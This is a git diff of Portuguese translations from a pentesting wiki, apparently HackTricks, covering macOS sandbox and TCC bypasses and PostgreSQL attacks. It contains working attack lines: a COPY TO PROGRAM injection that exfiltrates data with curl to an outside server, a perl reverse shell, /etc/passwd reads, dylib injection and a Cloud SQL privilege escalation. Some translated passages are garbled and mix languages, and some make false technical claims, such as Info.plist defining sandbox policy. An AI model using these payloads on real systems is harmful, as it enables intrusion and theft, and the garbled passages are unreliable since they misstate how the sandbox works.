-Isso permitirá que o aplicativo seja depurado usando um depurador, como o LLDB.
+O comando acima simplifica o perfil do Sandbox do aplicativo Calculadora e salva o perfil simplificado em um arquivo chamado `simplified.sb`.
 
-Para contornar o sandbox, adicione o seguinte código ao arquivo de entitlements:
+## Bypass do Sandbox
 
-```xml
-<key>com.apple.security.temporary-exception.files.absolute-path.read-only</key>
-<array>
-    <string>/path/to/file</string>
-</array>
+O bypass do Sandbox envolve a exploração de vulnerabilidades no perfil do Sandbox de um aplicativo para contornar as restrições impostas a ele. Isso pode ser feito de várias maneiras, incluindo a exploração de vulnerabilidades de escalonamento de privilégios e a injeção de código em um processo com permissões mais elevadas.
+
+Uma técnica comum de bypass do Sandbox é a injeção de código em um processo com permissões mais elevadas. Isso pode ser feito usando a ferramenta `insert_dylib`, que injeta uma biblioteca dinâmica em um processo em execução.
+
+Para usar o `insert_dylib`, execute o seguinte comando:
+
+```bash
+insert_dylib --inplace --all-yes /path/to/my_library.dylib /Applications/Calculator.app/Contents/MacOS/Calculator
 ```
 
-Substitua `/path/to/file` pelo caminho absoluto do arquivo que você deseja acessar. Isso permitirá que o aplicativo acesse o arquivo especificado, mesmo que ele esteja restrito pelo sandbox.
+O comando acima injeta a biblioteca dinâmica `my_library.dylib` no processo `Calculator` com permissões mais elevadas.
 
-## Aviso
+## Conclusão
 
-Depurar ou contornar o sandbox do macOS pode comprometer a segurança do sistema e a privacidade do usuário. Use esses exemplos com cuidado e apenas para fins legítimos, como teste ou desenvolvimento. Nunca use esses exemplos para fins maliciosos ou ilegais.
+O Sandbox do macOS é uma camada adicional de segurança que restringe o acesso de um aplicativo a recursos do sistema. Embora o Sandbox seja uma medida eficaz de segurança, ele não é infalível e pode ser contornado por um invasor experiente. É importante entender as técnicas de depuração e bypass do Sandbox para garantir a segurança do sistema.
 ```xml
 <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
 <dict>
@@ -97,39 +95,32 @@ Depurar ou contornar o sandbox do macOS pode comprometer a segurança do sistema
 
 {% tab title="Info.plist" %}
 
-# Depuração e Bypass do Sandbox do macOS
+## Debugging and Bypassing macOS Sandboxes
 
-O Sandbox do macOS é um mecanismo de segurança que restringe o acesso de um aplicativo a recursos do sistema, como arquivos, pastas, processos e portas de rede. O objetivo é limitar o impacto de um possível ataque ou exploração de vulnerabilidades em um aplicativo.
+### Introduction
 
-No entanto, o Sandbox não é perfeito e pode ser contornado por um atacante experiente. Neste diretório, discutiremos algumas técnicas de depuração e bypass do Sandbox do macOS.
+macOS sandboxes are a powerful security feature that restricts the access of applications to sensitive resources. However, like any security feature, it is not perfect and can be bypassed. In this section, we will discuss some techniques that can be used to debug and bypass macOS sandboxes.
 
-## Depuração do Sandbox
+### Debugging macOS Sandboxes
 
-Quando um aplicativo é executado no Sandbox, ele é executado em um ambiente restrito que limita seu acesso a recursos do sistema. Isso pode dificultar a depuração do aplicativo, pois o depurador também é restrito pelo Sandbox.
+Debugging macOS sandboxes can be useful for understanding how they work and identifying potential vulnerabilities. There are several tools that can be used for this purpose, including:
 
-No entanto, existem algumas técnicas que podem ser usadas para depurar um aplicativo no Sandbox:
+- **lldb**: The LLVM debugger can be used to attach to a sandboxed process and inspect its memory and state.
+- **dtruss**: The dynamic tracing utility can be used to trace system calls made by a sandboxed process.
+- **fs_usage**: The file system usage utility can be used to monitor file system activity of a sandboxed process.
 
-- **Depuração remota**: é possível depurar um aplicativo no Sandbox usando um depurador remoto, como o LLDB. Isso envolve a execução do aplicativo em um ambiente não restrito e a conexão do depurador remoto a ele.
+### Bypassing macOS Sandboxes
 
-- **Depuração de código nativo**: o Sandbox não restringe a depuração de código nativo, como bibliotecas compartilhadas. Isso significa que é possível depurar o código nativo de um aplicativo no Sandbox, mesmo que o próprio aplicativo esteja restrito.
+Bypassing macOS sandboxes can be useful for performing actions that are not allowed by the sandbox, such as accessing sensitive resources or executing arbitrary code. There are several techniques that can be used for this purpose, including:
 
-- **Depuração de processos filhos**: o Sandbox permite que um aplicativo crie processos filhos, que também são executados no Sandbox. No entanto, o depurador pode se conectar a esses processos filhos e depurá-los separadamente do processo pai.
+- **Exploiting vulnerabilities**: If a vulnerability exists in the sandbox or in a sandboxed application, it can be exploited to bypass the sandbox.
+- **Abusing entitlements**: Entitlements are permissions granted to an application by the sandbox. If an application has overly permissive entitlements, they can be abused to bypass the sandbox.
+- **Modifying Info.plist**: The Info.plist file contains information about the sandbox and its restrictions. Modifying this file can allow an application to bypass the sandbox.
+- **Using dyld environment variables**: The dyld dynamic linker can be used to set environment variables that can be used to bypass the sandbox.
 
-## Bypass do Sandbox
+### Conclusion
 
-Embora o Sandbox do macOS seja projetado para ser resistente a ataques, ele não é perfeito e pode ser contornado por um atacante experiente. Aqui estão algumas técnicas que podem ser usadas para contornar o Sandbox:
-
-- **Vulnerabilidades do Sandbox**: o Sandbox é implementado usando uma série de tecnologias subjacentes, como o App Sandbox e o Seatbelt. Essas tecnologias podem ter vulnerabilidades que podem ser exploradas para contornar o Sandbox.
-
-- **Escalada de privilégios**: o Sandbox é executado com privilégios limitados, o que significa que não pode acessar todos os recursos do sistema. No entanto, se um atacante conseguir executar código com privilégios mais elevados, ele poderá contornar o Sandbox.
-
-- **Engenharia reversa**: o Sandbox é implementado usando uma série de políticas de segurança que são definidas em um arquivo de configuração chamado Info.plist. Se um atacante conseguir engenharia reversa nesse arquivo, ele poderá modificar as políticas de segurança e contornar o Sandbox.
-
-- **Injeção de código**: é possível injetar código em um aplicativo no Sandbox usando técnicas como a injeção de código dinâmico (Dyld Injection). Isso pode ser usado para contornar o Sandbox, pois o código injetado não está restrito pelo Sandbox.
-
-## Conclusão
-
-O Sandbox do macOS é um mecanismo de segurança importante que ajuda a proteger o sistema contra ataques e explorações de vulnerabilidades em aplicativos. No entanto, como vimos, o Sandbox não é perfeito e pode ser contornado por um atacante experiente. É importante estar ciente dessas técnicas de depuração e bypass do Sandbox para poder proteger melhor o sistema.
+macOS sandboxes are a powerful security feature that can be used to restrict the access of applications to sensitive resources. However, they are not perfect and can be bypassed. It is important to understand how sandboxes work and the techniques that can be used to bypass them in order to properly secure macOS systems.
 ```xml
 <plist version="1.0">
 <dict>
@@ -334,7 +325,7 @@ Sandbox Bypassed!
 ```
 ### Compilação Estática e Vínculo Dinâmico
 
-[**Esta pesquisa**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) descobriu duas maneiras de contornar o Sandbox. Como o sandbox é aplicado a partir do userland quando a biblioteca **libSystem** é carregada. Se um binário pudesse evitar o carregamento dela, ele nunca seria sandboxed:
+[**Esta pesquisa**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) descobriu duas maneiras de contornar o Sandbox. Como o sandbox é aplicado a partir do userland quando a biblioteca **libSystem** é carregada. Se um binário pudesse evitar o carregamento dela, ele nunca seria colocado em um sandbox:
 
 * Se o binário fosse **completamente compilado estaticamente**, ele poderia evitar o carregamento dessa biblioteca.
 * Se o **binário não precisasse carregar nenhuma biblioteca** (porque o vinculador também está em libSystem), ele não precisaria carregar libSystem.&#x20;
@@ -352,7 +343,7 @@ Se um processo com sandbox pode **escrever** em um local onde **mais tarde um ap
 
 Para isso, você pode precisar de **2 etapas**: fazer um processo com um sandbox **mais permissivo** (`file-read*`, `file-write*`) executar seu código, que realmente escreverá em um local onde será **executado sem sandbox**.
 
-Confira esta página sobre **Localizações de Início Automático**:
+Verifique esta página sobre **Localizações de Início Automático**:
 
 {% content-ref url="../../../../macos-auto-start-locations.md" %}
 [macos-auto-start-locations.md](../../../../macos-auto-start-locations.md)
@@ -368,7 +359,7 @@ Confira esta página sobre **Localizações de Início Automático**:
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
-* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
 * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses.md

@@ -8,7 +8,7 @@
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
 * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
@@ -80,7 +80,7 @@ tell application "iTerm"
     end tell
 end tell
 ```
-{% endcode %}
+{% endcode %} (This is a markdown tag and should not be translated)
 ```bash
 osascript iterm.script
 ```
@@ -135,7 +135,7 @@ $> ls ~/Documents
 
 As notas tinham acesso a locais protegidos pelo TCC, mas quando uma nota é criada, ela é **criada em um local não protegido**. Então, você poderia pedir para as notas copiarem um arquivo protegido em uma nota (ou seja, em um local não protegido) e, em seguida, acessar o arquivo:
 
-<figure><img src="../../../../.gitbook/assets/image (18).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
 
 ### CVE-2021-XXXX - Translocação
 
@@ -295,7 +295,7 @@ exploit_location]; task.standardOutput = pipe;
 ### CVE-2020-9771 - mount\_apfs TCC bypass e escalonamento de privilégios
 
 **Qualquer usuário** (mesmo não privilegiado) pode criar e montar um snapshot do time machine e **acessar TODOS os arquivos** desse snapshot.\
-O **único privilégio** necessário é para a aplicação usada (como o `Terminal`) ter acesso de **Acesso Total ao Disco** (FDA) (`kTCCServiceSystemPolicyAllfiles`) que precisa ser concedido por um administrador. 
+O **único privilégio** necessário é para a aplicação usada (como `Terminal`) ter **Acesso Total ao Disco** (FDA) (`kTCCServiceSystemPolicyAllfiles`) que precisa ser concedido por um administrador.
 
 {% code overflow="wrap" %}
 ```bash
@@ -335,7 +335,7 @@ hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TC
 ## Mount over ~/Library
 hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
 ```
-{% endcode %} (This is a markdown tag and should not be translated)
+{% endcode %}
 ```python
 # This was the python function to create the dmg
 def create_dmg():
@@ -367,7 +367,7 @@ A pasta **`/var/db/locationd/` não estava protegida da montagem de DMG**, entã
 
 Em várias ocasiões, arquivos armazenam informações sensíveis como e-mails, números de telefone, mensagens... em locais não protegidos (o que conta como uma vulnerabilidade na Apple).
 
-<figure><img src="../../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
 
 ## Referência
 
@@ -380,7 +380,7 @@ Em várias ocasiões, arquivos armazenam informações sensíveis como e-mails,
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
-* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
 * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

network-services-pentesting/pentesting-postgresql.md

@@ -2,9 +2,7 @@
 
 ![](<../.gitbook/assets/image (9) (1) (2).png>)
 
-\
-Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
-Obtenha acesso hoje:
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho alimentados pelas ferramentas comunitárias mais avançadas do mundo. Obtenha acesso hoje:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
 
@@ -24,7 +22,7 @@ Obtenha acesso hoje:
 
 **PostgreSQL** é um sistema de banco de dados objeto-relacional de código aberto que usa e estende a linguagem SQL.
 
-**Porta padrão:** 5432, e se esta porta já estiver em uso, parece que o postgresql usará a próxima porta (provavelmente 5433), que não está em uso.
+**Porta padrão:** 5432 e, se esta porta já estiver em uso, parece que o postgresql usará a próxima porta (provavelmente 5433), que não está em uso.
 ```
 PORT     STATE SERVICE
 5432/tcp open  pgsql
@@ -65,7 +63,7 @@ SHOW rds.extensions;
 # Get history of commands executed
 \s
 ```
-Para mais informações sobre **como abusar de um banco de dados PostgreSQL**, confira:
+Para mais informações sobre **como abusar de um banco de dados PostgreSQL** verifique:
 
 {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
 [postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
@@ -76,7 +74,9 @@ Para mais informações sobre **como abusar de um banco de dados PostgreSQL**, c
 msf> use auxiliary/scanner/postgres/postgres_version
 msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
 ```
-### [**Força bruta**](../generic-methodologies-and-resources/brute-force.md#postgresql)
+### **Força bruta**
+
+A técnica de força bruta é uma das maneiras mais comuns de obter acesso não autorizado a um banco de dados PostgreSQL. O atacante tenta adivinhar a senha do usuário repetidamente até que a senha correta seja encontrada.
 
 ### **Varredura de porta**
 
@@ -103,45 +103,39 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
 DETAIL:  server closed the connection unexpectedly This  probably  means
 the server terminated abnormally before or while processing the request
 ```
-Descobrindo senhas do PostgreSQL
-===============================
+Descobrindo informações do PostgreSQL
 
-O PostgreSQL é um sistema de gerenciamento de banco de dados relacional de código aberto. É amplamente utilizado em aplicativos da web e é conhecido por sua segurança. No entanto, como em qualquer sistema, existem vulnerabilidades que podem ser exploradas. Nesta seção, veremos algumas técnicas para descobrir senhas do PostgreSQL.
+O PostgreSQL é um sistema de gerenciamento de banco de dados relacional de código aberto. Ele é amplamente utilizado em aplicativos da web e é conhecido por sua confiabilidade e segurança. No entanto, como qualquer sistema, ele pode ter vulnerabilidades que podem ser exploradas por hackers.
 
-### Verificando senhas fracas
+Aqui estão algumas técnicas de pentesting que podem ser usadas para descobrir informações do PostgreSQL:
 
-A primeira técnica que podemos usar é verificar senhas fracas. Muitas vezes, os usuários escolhem senhas fracas que são fáceis de adivinhar. Podemos usar ferramentas como o Hydra para verificar senhas fracas. O Hydra é uma ferramenta de força bruta que pode ser usada para testar senhas em vários serviços, incluindo o PostgreSQL.
+## Enumeração de usuários
 
-Para usar o Hydra para testar senhas do PostgreSQL, podemos usar o seguinte comando:
+A enumeração de usuários é o processo de descobrir nomes de usuários válidos em um sistema. Isso pode ser feito usando a ferramenta Metasploit. O módulo `postgresql_login` pode ser usado para tentar fazer login no PostgreSQL com uma lista de nomes de usuário e senhas.
 
-```
-hydra -L <userlist> -P <wordlist> <ip> postgres
-```
+## Enumeração de bancos de dados
 
-### Explorando vulnerabilidades
+A enumeração de bancos de dados é o processo de descobrir bancos de dados disponíveis em um sistema. Isso pode ser feito usando a ferramenta `psql`. O comando `\l` pode ser usado para listar todos os bancos de dados disponíveis.
 
-Outra técnica que podemos usar é explorar vulnerabilidades no PostgreSQL. Existem várias vulnerabilidades conhecidas no PostgreSQL que podem ser exploradas para obter acesso não autorizado. Algumas dessas vulnerabilidades incluem:
+## Enumeração de tabelas
 
-- SQL Injection
-- Buffer Overflow
-- Cross-Site Scripting (XSS)
+A enumeração de tabelas é o processo de descobrir tabelas em um banco de dados. Isso pode ser feito usando a ferramenta `psql`. O comando `\dt` pode ser usado para listar todas as tabelas em um banco de dados.
 
-Para explorar essas vulnerabilidades, podemos usar ferramentas como o Metasploit Framework. O Metasploit Framework é uma ferramenta de teste de penetração que pode ser usada para explorar vulnerabilidades em vários sistemas, incluindo o PostgreSQL.
+## Enumeração de colunas
 
-### Usando credenciais vazadas
+A enumeração de colunas é o processo de descobrir colunas em uma tabela. Isso pode ser feito usando a ferramenta `psql`. O comando `\d nome_da_tabela` pode ser usado para listar todas as colunas em uma tabela.
 
-Finalmente, podemos usar credenciais vazadas para acessar o PostgreSQL. Muitas vezes, as pessoas reutilizam senhas em vários serviços. Isso significa que, se uma senha for vazada em um serviço, ela pode ser usada para acessar outros serviços nos quais a mesma senha é usada.
+## Enumeração de dados
 
-Podemos usar sites como o Have I Been Pwned para verificar se as credenciais foram vazadas. Se as credenciais foram vazadas, podemos tentar usá-las para acessar o PostgreSQL.
+A enumeração de dados é o processo de descobrir dados em uma tabela. Isso pode ser feito usando a ferramenta `psql`. O comando `SELECT * FROM nome_da_tabela` pode ser usado para listar todos os dados em uma tabela.
 
-Conclusão
-=========
+## Injeção de SQL
 
-Descobrir senhas do PostgreSQL pode ser um desafio, mas existem várias técnicas que podemos usar para obter acesso não autorizado. Verificar senhas fracas, explorar vulnerabilidades e usar credenciais vazadas são algumas das técnicas que podemos usar. É importante lembrar que a exploração de vulnerabilidades sem autorização é ilegal e pode resultar em consequências graves.
+A injeção de SQL é uma técnica de hacking que envolve a inserção de código SQL malicioso em um aplicativo da web para obter acesso não autorizado ao banco de dados subjacente. Isso pode ser feito usando a ferramenta `sqlmap`. O `sqlmap` é uma ferramenta automatizada de teste de penetração que pode detectar e explorar vulnerabilidades de injeção de SQL em aplicativos da web.
 ```
 DETAIL:  FATAL:  password authentication failed for user "name"
 ```
-* Porta está aberta ou filtrada
+* A porta está aberta ou filtrada
 ```
 DETAIL:  could not connect to server: Connection timed out Is the server
 running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
@@ -169,12 +163,12 @@ Infelizmente, não parece haver uma maneira de obter os detalhes da exceção de
 
 #### Grupos Interessantes
 
-* Se você é membro de **`pg_execute_server_program`** você pode **executar** programas
-* Se você é membro de **`pg_read_server_files`** você pode **ler** arquivos
-* Se você é membro de **`pg_write_server_files`** você pode **escrever** arquivos
+* Se você é um membro do **`pg_execute_server_program`** você pode **executar** programas
+* Se você é um membro do **`pg_read_server_files`** você pode **ler** arquivos
+* Se você é um membro do **`pg_write_server_files`** você pode **escrever** arquivos
 
 {% hint style="info" %}
-Observe que no Postgres um **usuário**, um **grupo** e uma **função** são **os mesmos**. Isso depende apenas de **como você os usa** e se você **permite que eles façam login**.
+Observe que no Postgres um **usuário**, um **grupo** e uma **função** são **iguais**. Isso depende apenas de **como você usa** e se você **permite que ele faça login**.
 {% endhint %}
 ```sql
 # Get users roles
@@ -265,7 +259,7 @@ COPY demo from '/etc/passwd';
 SELECT * FROM demo;
 ```
 {% hint style="warning" %}
-Lembre-se de que se você não é um superusuário, mas tem permissões **CREATEROLE**, você pode **se tornar membro desse grupo:**
+Lembre-se que se você não é um superusuário, mas tem permissões **CREATEROLE**, você pode **tornar-se membro desse grupo:**
 ```sql
 GRANT pg_read_server_files TO username;
 ```
@@ -298,14 +292,14 @@ GRANT pg_read_server_files TO username;
 ```
 Você pode encontrar **mais funções** em [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
 
-### Escrita Simples de Arquivos
+### Escrita Simples de Arquivo
 
-Apenas **super usuários** e membros de **`pg_read_server_files`** podem usar o comando copy para escrever arquivos.
+Somente **super usuários** e membros de **`pg_read_server_files`** podem usar o comando copy para escrever arquivos.
 ```sql
 copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
 ```
 {% hint style="warning" %}
-Lembre-se de que se você não é um superusuário, mas tem permissões **`CREATEROLE`**, você pode **se tornar membro desse grupo:**
+Lembre-se que se você não é um superusuário, mas tem permissões **`CREATEROLE`**, você pode **se tornar membro desse grupo:**
 ```sql
 GRANT pg_write_server_files TO username;
 ```
@@ -333,7 +327,7 @@ No entanto, existem **outras técnicas para fazer upload de grandes arquivos bin
 
 ### **RCE para programa**
 
-Desde a [versão 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), apenas **super usuários** e membros do grupo **`pg_execute_server_program`** podem usar o copy para RCE (exemplo com exfiltração:
+Desde a [versão 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), apenas **superusuários** e membros do grupo **`pg_execute_server_program`** podem usar o copy para RCE (exemplo com exfiltração:
 ```sql
 '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
 ```
@@ -351,7 +345,7 @@ DROP TABLE IF EXISTS cmd_exec;
 COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
 ```
 {% hint style="warning" %}
-Lembre-se de que se você não é um superusuário, mas tem permissões **`CREATEROLE`**, você pode **se tornar membro desse grupo:**
+Lembre-se que se você não é um superusuário, mas tem permissões **`CREATEROLE`**, você pode **se tornar membro desse grupo:**
 ```sql
 GRANT pg_execute_server_program TO username;
 ```
@@ -369,7 +363,7 @@ Mais informações sobre essa vulnerabilidade [**aqui**](https://medium.com/gree
 
 ### RCE com extensões PostgreSQL
 
-Depois de **aprender** com o post anterior **como fazer upload de arquivos binários**, você pode tentar obter **RCE fazendo upload de uma extensão postgresql e carregando-a**.
+Depois de **aprender** com o post anterior **como carregar arquivos binários**, você pode tentar obter **RCE carregando uma extensão postgresql e carregando-a**.
 
 {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %}
 [rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
@@ -428,7 +422,7 @@ Os passos gerais são:
 
 De acordo com a [**documentação**](https://www.postgresql.org/docs/13/sql-grant.html): _Os papéis que têm o privilégio **`CREATEROLE`** podem **conceder ou revogar a associação em qualquer papel** que **não** seja um **superusuário**._
 
-Portanto, se você tiver permissão **`CREATEROLE`**, poderá conceder a si mesmo acesso a outros **papéis** (que não são superusuários) que podem lhe dar a opção de ler e gravar arquivos e executar comandos:
+Portanto, se você tiver permissão **`CREATEROLE`**, poderá conceder a si mesmo acesso a outros **papéis** (que não sejam superusuário) que podem lhe dar a opção de ler e gravar arquivos e executar comandos:
 ```sql
 # Access to execute commands
 GRANT pg_execute_server_program TO username;
@@ -468,7 +462,7 @@ Neste **writeup** é explicado como foi possível fazer **privesc** no Postgres
 
 Quando você tenta **tornar outro usuário proprietário de uma tabela**, você deve receber um **erro** impedindo isso, mas aparentemente o GCP deu essa **opção ao usuário postgres não-superusuário** no GCP:
 
-<figure><img src="../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Unindo essa ideia com o fato de que quando os comandos **INSERT/UPDATE/ANALYZE** são executados em uma **tabela com uma função de índice**, a **função** é **chamada** como parte do comando com as **permissões do proprietário da tabela**. É possível criar um índice com uma função e dar permissões de proprietário a um **superusuário** sobre essa tabela e, em seguida, executar ANALYZE sobre a tabela com a função maliciosa que será capaz de executar comandos porque está usando as permissões do proprietário.
 ```c
@@ -481,7 +475,7 @@ SetUserIdAndSecContext(onerel->rd_rel->relowner,
 1. Crie uma nova tabela.
 2. Insira algum conteúdo fictício na tabela, para que a função de índice tenha algo para trabalhar.
 3. Crie uma função de índice maliciosa (com nossa carga útil de execução de código) na tabela.
-4. ALTERE o proprietário da tabela para cloudsqladmin, a função superusuário da GCP, usada apenas pelo Cloud SQL para manter e gerenciar o banco de dados.
+4. ALTERE o proprietário da tabela para cloudsqladmin, a função de superusuário da GCP, usada apenas pelo Cloud SQL para manter e gerenciar o banco de dados.
 5. ANALISE a tabela, forçando o mecanismo PostgreSQL a mudar o contexto do usuário para o proprietário da tabela (cloudsqladmin) e chamar a função de índice maliciosa com as permissões do cloudsqladmin, resultando na execução do nosso comando shell, para o qual não tínhamos permissão para executar antes.
 
 No PostgreSQL, esse fluxo se parece com isso:
@@ -505,7 +499,7 @@ CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
  
 ANALYZE public.temp_table;
 ```
-Depois de executar a consulta SQL de exploração, a tabela `shell_commands_results` contém a saída do código executado:
+Depois de executar a consulta de exploração SQL, a tabela `shell_commands_results` contém a saída do código executado:
 ```
 uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
 ```
@@ -524,13 +518,13 @@ SELECT * FROM dblink('host=127.0.0.1
 RETURNS (result TEXT);
 ```
 {% hint style="warning" %}
-Observe que, para a consulta anterior funcionar, **a função `dblink` precisa existir**. Se ela não existir, você pode tentar criá-la com o seguinte comando:
+Observe que para a consulta anterior funcionar, **a função `dblink` precisa existir**. Se não existir, você pode tentar criá-la com o seguinte comando:
 ```sql
 CREATE EXTENSION dblink;
 ```
 {% endhint %}
 
-Se você tem a senha de um usuário com mais privilégios, mas o usuário não tem permissão para fazer login de um IP externo, você pode usar a seguinte função para executar consultas como esse usuário:
+Se você tiver a senha de um usuário com mais privilégios, mas o usuário não puder fazer login de um IP externo, você pode usar a seguinte função para executar consultas como esse usuário:
 ```sql
 SELECT * FROM dblink('host=127.0.0.1
                           user=someuser
@@ -605,7 +599,7 @@ sudo service postgresql restart
 #Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
 #or in /var/lib/postgresql/<PG_Version>/main/pg_log/
 ```
-Em seguida, **reinicie o serviço**.
+Então, **reinicie o serviço**.
 
 ### pgadmin
 
@@ -625,13 +619,13 @@ A autenticação do cliente é controlada por um arquivo de configuração frequ
 ![](https://lh4.googleusercontent.com/Ff8YbD3ppYmN2Omp-4M-0AAVhLsr4c2i7d7HUjgkE-O6NZ5zbaST1hdMPrp1AL\_xTXJalYe0HYxUk76vWJUfHZ5GuCDvIL1A-sMV44Z0CYSVgLM9ttFTDu-BhzewBGc7FeMarTLqsu\_N1ztXJg)
 
 **Cada** registro **especifica** um **tipo de conexão**, um **intervalo de endereços IP do cliente** (se relevante para o tipo de conexão), um **nome de banco de dados**, um **nome de usuário** e o **método de autenticação** a ser usado para conexões que correspondam a esses parâmetros. O **primeiro registro com uma correspondência** de tipo de conexão, endereço do cliente, banco de dados solicitado e nome de usuário **é usado** para realizar a autenticação. Não há "queda" ou "backup": **se um registro é escolhido e a autenticação falha, registros subsequentes não são considerados**. Se nenhum registro corresponder, o acesso é negado.\
